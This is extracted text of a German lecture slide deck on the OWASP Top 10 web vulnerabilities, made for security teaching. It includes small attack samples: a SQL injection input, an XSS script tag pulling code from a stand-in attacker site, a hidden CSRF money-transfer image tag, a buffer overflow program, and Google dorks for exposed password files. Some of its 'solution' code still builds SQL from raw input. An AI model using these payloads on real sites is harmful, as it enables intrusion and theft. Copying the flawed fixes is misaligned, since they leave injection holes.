owasp opt 10 - andresilaghi.com · Über mich über die eranstaltung web applikation aspow aspow...
TRANSCRIPT
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
OWASP Top 10Angri�e auf Web Anwendungen
Andre Fritsche
Hochschule O�enburg
16. Mai 2015
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
Inhaltsverzeichnis
1 Über mich
2 über die Veranstaltung
3 Web ApplikationDe�nitionDetails
4 OWASPDe�nitionÜbersicht
5 OWASP Top 10
6 Zusammenfassung
7 Tipps
8 Ende
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
Über mich
Werdegang
Hochschule für Technik und Wirtschaft Berlin: Medieninformatik (B. Sc.)
Systemadministrator in Medien- und Automobilbranche (Ludwigsburg)
Selbstständig im Bereich IT Sicherheit (Entwicklung, Consulting etc.)
Security Engineer bei Konica Minolta IT Solutions GmbH (Stuttgart)
Kontakt
https://www.andrefritsche.com, https://delicious.com/vtep
@ihgalis
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
über die Veranstaltung
...
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
über die Veranstaltung
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
De�nitionDetails
De�nition
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
De�nitionDetails
Details
Frontend
HTML Requests werden vom Browser empfangen, versendet undverarbeitet
JavaScripte werden lokal vom Browser empfangen und verarbeitet
Backend
HTML Dateien werden häu�g dynamisch erzeugt (PHP, Ruby on Railsetc.)
Dynamisch erzeugte HTML Daten werden mit JavaScripten häu�g anBrowser geschickt
Daten werden häu�g in DBMS vorrätig gehalten (DatenBankManamgement System)
Nur das Backend hat die Möglichkeit direkt auf das DBMS zu zugreifen
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
De�nitionÜbersicht
OWASP De�nition
De�nition
The OWASP Top Ten provides a powerful awareness document for web
application security. The OWASP Top Ten represents a broad consensus aboutwhat the most critical web application security �aws are.
https://www.owasp.org/index.php/Top_10_2013-Top_10
OWASP: Open Web Application Security Project
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
De�nitionÜbersicht
A1 - Injection
A2 - Broken Authentication and Session Management
A3 - Cross Site Scripting
A4 - Insecure Direct Object References
A5 - Security Miscon�guration
A6 - Sensitive Data Exposure
A7 - Missing Function Level Access Control
A8 - Cross Site Request Forgery
A9 - Using Components with Known Vulnerabilities
A10 - Unvalidated Redirects and Forwards
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A1 - Injection
Ursache
Den Eingaben des Benutzers - bspw. im Suchfeld - wird blind vertraut.
Folge
Einbinden von fremden - meist schadhaften - Programmcode führt zuDatenbankmanipulationen.
Lösung
folgt
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A1 - Injection - Ursache
im Detail
Ein klassisches Formular in HTML ist gegeben
Nach dem Absenden wird folgender Befehl über das Backend an die DBverschickt: SELECT * FROM Warenliste WHERE WarenId = variable
Angreifer möchte auch versteckte Waren sehen und gibt ein: 156 OR 1=1
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A1 - Injection - Folge
im Detail
Fertiges Statement: SELECT * FROM Warenliste WHERE WarenID =156 OR 1=1
Existiert die Ware mit der ID 156 ist der Ausdruck wahr.
Die gesamte Warenliste wird ausgegeben, da der Ausdruck immer wahr ist.
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A1 - Injection - Lösung
im Detail
Escaping der 'special characters'
Jede API / Sprache hat hier eigene Vorgaben
PHP: mysql_real_escape_string()
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A2 - Broken Authentication and Session Management
Ursache
Generell schlechtes Session Management
Mangelnde Verschlüsselung für bewegte Daten
Folge
Sessions anderer Benutzer können verwendet werden.
Einkaufswägen anderer werden sichtbar und veränderbar.
Gesamte Logins samt Zahlungsdaten sind sichtbar und veränderbar.
Lösung
folgt
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A2 - Broken Authentication and Session Management - Ursache
im Detail
User Passwort ist in der Datenbank im Klartext abgespeichert.
Sessions werden nicht terminiert durch das Backend.
Session ID's werden über die URL weiter gegeben.
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A2 - Broken Authentication and Session Management - Folge
im Detail
Angreifer kommt über andere Lücken an die unverschlüsselten Kennwörter.
Versierte User können die Session anderer Benutzer durch Ausprobierenerraten.
Finale Folge: Identitätsdiebstahl
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A2 - Broken Authentication and Session Management - Lösung
im Detail
Session ID muss bei jedem Login verändert werden
Sessions werden automatisch ungültig bei Logout
Session Time-Out nicht zu lange
V2: Authentication Veri�cation laut ASVS
V3: Session Management Veri�cation Requirements laut ASVS
Quellenmaterial: OWASP ASVShttps://www.owasp.org/images/5/58/OWASP_ASVS_Version_2.pdf
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A3 - Cross Site Scripting
Ursache
Den Eingaben des Benutzers wird vertraut.
Folge
Dynamische Inhalte werden verändert.
Lösung
folgt
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A3 - Cross Site Scripting - Ursache
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A3 - Cross Site Scripting - Folge
im Detail
Dynamische Inhalte auf Webseiten werden mit destruktiven Absichtenverändert.
Programmcode kann auf Clientseite ausgeführt werden.
<script language='js'src='http://www.mybadsite.com/hax00rscript1337.js'>
Katastrophal auf hochfrequentierten Seiten (oder lukrativ, je nachSichtweise)
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A3 - Cross Site Scripting - Lösung
im Detail
Validierung der Eingangsdaten (Telefonnummern, Kreditkartennummern,Mail Adressen)
Data Sanitation: $cleanLvl1 = strip_tags($bad_input);
Escaping: $cleanLvl2 = htmlspecialchars($cleanLvl1);
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A4 - Insecure Direct Object References
Ursache
Keine ausreichende Zugri�sbeschränkung.
Keine Validierung der übergebenen Daten.
Folge
Data Exposure
Benutzerdaten, Zahlungsdaten
Preislisten, Warenbestände
Lösung
folgt
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A4 - Insecure Direct Object References - Ursache
im Detail
GET Parameter in Url wird nicht geprüft.
http://beispiel.com/abc/info.html?accountName=Administrator
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A4 - Insecure Direct Object References - Folge
im Detail
Zugang zu geheimen Informationen
...
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A4 - Insecure Direct Object References - Lösung
im Detail
Zugangsbeschränkung
1 // I n f o rma t i o n temporaer s p e i c h e r n2 $ t oR e t r i e v e I n f o = $GET [ ' accountName ' ] ;3
4 i f ( $ s e s s i o nU s e r == ' Adm i n i s t r a t o r ' )5 {6 // Escap ing , Trimming usw . n i c h t v e r g e s s e n7 mysql_query ( 'SELECT ∗ FROM Use r s WHERE us e r =' .
$ t o R e t r i e v e I n f o . ' ; ' ) ;8 }9 e l s e
10 {11 echo "Keine Be r e ch t i gung !\ n" ;12 }
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A5 - Security Miscon�guration
Ursache
schlechte/alte Software
Faulheit bei der Einrichtung
Folge
viele Sicherheitslücken
Lösung
folgt
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A5 - Security Miscon�guration - Ursache
im Detail
ungepatchte Software
BetriebssystemWebserverDatenbanksystemandere Anwendungen (z.B. PHP)Libraries
unnötiges
PortsDiensteKonten (z.B. Stanardkennwörter)BerechtigungenAufschlussreiche Fehlermeldungen (HTTP 404)XAMPP im Einsatz (Bequemlichkeit)
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A5 - Security Miscon�guration - Folge
im Detail
Ist die Webanwendung gut abgesichert, �nden sich hier alle nötigenSicherheitslücken, um an die Informationen zu geraten.
Exploits gibt es für veraltete Systeme zahlreiche, wie für neue (siehe ZeroDay Exploits).
Zu den häu�gsten Sicherheitslücken zählen vor allem Bu�er Over�ows.
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
Exkursion: Bu�er Over�ow - I
1 // ove r f l owexamp l e . c2 #i n c l u d e <s t d i o . h>3 #i n c l u d e <s t r i n g . h>4
5 vo i d main ( i n t argc , cha r ∗ a rgv [ ] )6 {7 i n t v a l u e = 5 ;8 cha r bu f f e r_one [ 8 ] , buf fe r_two [ 8 ] ;9
10 s t r c p y ( buf fe r_one , "one" ) ;11 s t r c p y ( buffer_two , "two" ) ;12
13 p r i n t f ( " bu f f e r_one : %s " , bu f f e r_one ) ;14 p r i n t f ( " buf fe r_two : %s " , buf fe r_two ) ;15
16 s t r c p y ( buffer_two , a rgv [ 1 ] ) ;17
18 p r i n t f ( " buf fe r_two : %s " , buf fe r_two ) ;19 }
Ausführung mit Argument
$ ./over�owexample 222222222222222222222222222A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
Exkursion: Bu�er Over�ow - II
Weiterführendes
Buchtitel: Hacking - The Art of Exploitation
Autor: Jon Erickson
Au�age: 2
Verlag: no starch press
ISBN: 978-1-59327-144-2
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A5 - Security Miscon�guration - Lösung
im Detail
Server über 1-2 DMZ betreiben
Nur benötigte Serverrollen installieren (Windows Server)
Nicht benötigte Dienste beenden
Fernwartung nur über das interne Netz erlauben
Alle nicht benötigten Ports schlieÿen
Host�rewall zusätzlich einsetzen
Software aktuell halten
Redundanz erzeugen (Ausfallsicherheit)
Software zur Auditierung von Vorgängen aktiv nutzen
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A6 - Sensitive Data Exposure
Ursache
schlechtes Management der Projekte
schlampiges Arbeiten
Menschen machen Fehler
Folge
Sichtbar: Passwörter
Sichtbar: Kreditkartennummern
Sichtbar: personenbezogene Daten
Sichtbar: Versionsnummern
Lösung
folgt
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A6 - Sensitive Data Exposure - Ursache
im Detail
Security through obscurity (�Verstecken�)
�Es muss schnell gehen�
Standardeinstellungen (HTTP Fehler)
Schlechte Zerti�kate
Schlechte Kryptographie (Eigenbau, falsche Nutzung)
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A6 - Sensitive Data Exposure - Folge - Excel Datei ö�entlich
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A6 - Sensitive Data Exposure - Folge - HTTP Fehler
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A6 - Sensitive Data Exposure - Folge - Zu alte Kryptoverfahren
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A6 - Sensitive Data Exposure - Lösung
im Detail
Web Applikation prüfen (Google Dorks, Suchmaschinen etc.):
Excel Dateien mit Kennwörtern: inurl:ftp �password� �letype:xlsÜberwachungskameras: intitle: �Live view / - AXIS�https://shodanhq.comhttps://www.ssllabs.com/ssltest/
https://www.exploit-db.com/google-hacking-database/
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A7 - Missing Function Level Access Control
Ursache
Menschen machen Fehler
Folge
Administrative Ober�ächen werden sichtbar
Funktionen, die nicht verfügbar sind, können verwendet werden
Lösung
folgt
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A7 - Missing Function Level Access Control - Ursache
im Detail
vergessene administrative Portale
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A7 - Missing Function Level Access Control - Folge
im Detail
bereits geklärt ...
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A7 - Missing Function Level Access Control - Lösung
Web Application Penetrationstest
zu viele Verlinkungen für manuelle Tests
automatisiertes Crawling und Überprüfung aller Pfade
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A7 - Missing Function Level Access Control - Beispiele
Web Application Penetrationstest
Standarddarstellung: http://www.example.com/website/2/index.html
Administrationssicht:http://www.example.com/website/2/admin_index.html
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A7 - Missing Function Level Access Control - Pentest
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A8 - Cross Site Request Forgery
Ursache
keine Überprüfung, ob HTTP Requests auch wirklich gewollt sind
Folge
Angreifer kann ohne Authenti�zierung einen Request selbstzusammenbauen (Forgery) und diesen dem User unterschmuggeln
Lösung
folgt
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A8 - Cross Site Request Forgery - Ursache
im Detail
keine CSRF Tokens im Formular
keine CAPTCHAs
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A8 - Cross Site Request Forgery - Folge
im Detail
http://www.example.com/app/transferMoney?ammount=1500&
destAccount=1234567890
Erzeugten Request in eine Webseite einbinden:
1 <img s r c=" ht tp ://www. example . com/app/ t ranse rMoney ?ammount=1500&destAccount =11111111" width=0 he i g h t=0 />
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A8 - Cross Site Request Forgery - Lösung
im Detail
CSRF Test: https://www.owasp.org/index.php/CSRFTester
Token in das Formular mit integrieren (oder URL)
Token temporär speichern (DB?)
Token beim Absenden des Requests des Users gegen das erstellte Tokenprüfen
Ist es in Ordnung, ist der Request gültig
Ist es nicht in Ordnung, muss der Request abgelehnt werden
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A8 - Cross Site Request Forgery - Lösung - Schema
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A9 - Using Components with Known Vulnerabilities
...
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A9 - Using Components with Known Vulnerabilities
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A9 - Using Components with Known Vulnerabilities
Ursache
keine Updates verfügbar
Abhängigkeit von älterer Version
Folge
bewusst Schwachstellen in Kauf nehmen und nichts dagegen tun bedeutet:sich strafbar machen
Verlust von personenbezogenen Daten durch Lücken
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A9 - Using Components with Known Vulnerabilites - Lösung
Lösung
Web Application Firewall (für die Webanwendung)
Virtual Patching (Datenbank und andere Systeme)
Möglichst vollständiges Auditing des betro�enen Systems samtBetriebssystem
Abhängigkeiten und Anforderungen prüfen, um ggf. ein Update durchführen zu können
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A10 - Unvalidated Redirects and Forwards - Basis
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A10 - Unvalidated Redirects and Forwards - Angri�
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
A10 - Unvalidated Redirects and Forwards - Verteidigung
Verteidigung
Keine Redirects verwenden :-|
Wenn doch, dann nicht über die Parameter kon�gurieren
Wenn doch über Parameter, dann muss das Backend den Redirect prüfen(Kürzel für URLs und keine direkten URLs in den Parametern)
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
Zusammenfassung - Gra�k
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
Zusammenfassung
1 Basis Server Betriebssystem härten und NUR für nötige Zwecke ausrüsten(Webserver)
2 Basis Server mit lokaler Firewall ausstatten und regelmäÿig testen (Pentesting)
3 Datenbank, falls vorhanden, auf extra System installieren und mittels VirtualPatching schützen
4 Nicht benötigte Features auf der Datenbank abschalten
5 Datenbank Server mit lokaler Firewall ausstatten
6 Web Applikation vernünftig entwickeln (das meiste aus den OWASP Top 10)
7 Web Application Firewall davor einrichten und regelmäÿig testen (Pentesting)
8 Versionsstände aller beteiligten Module auf dem neuesten Stand halten
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
Final Sudden Clarity Clarence
A. Fritsche OWASP Top 10
Über michüber die Veranstaltung
Web ApplikationOWASP
OWASP Top 10Zusammenfassung
TippsEnde
Tipps
irongeek.com
ccc.de
krebsonsecurity.com
offensive-security.com
sans.org
42
DEFCON
BlackHat
CCC Congress
A. Fritsche OWASP Top 10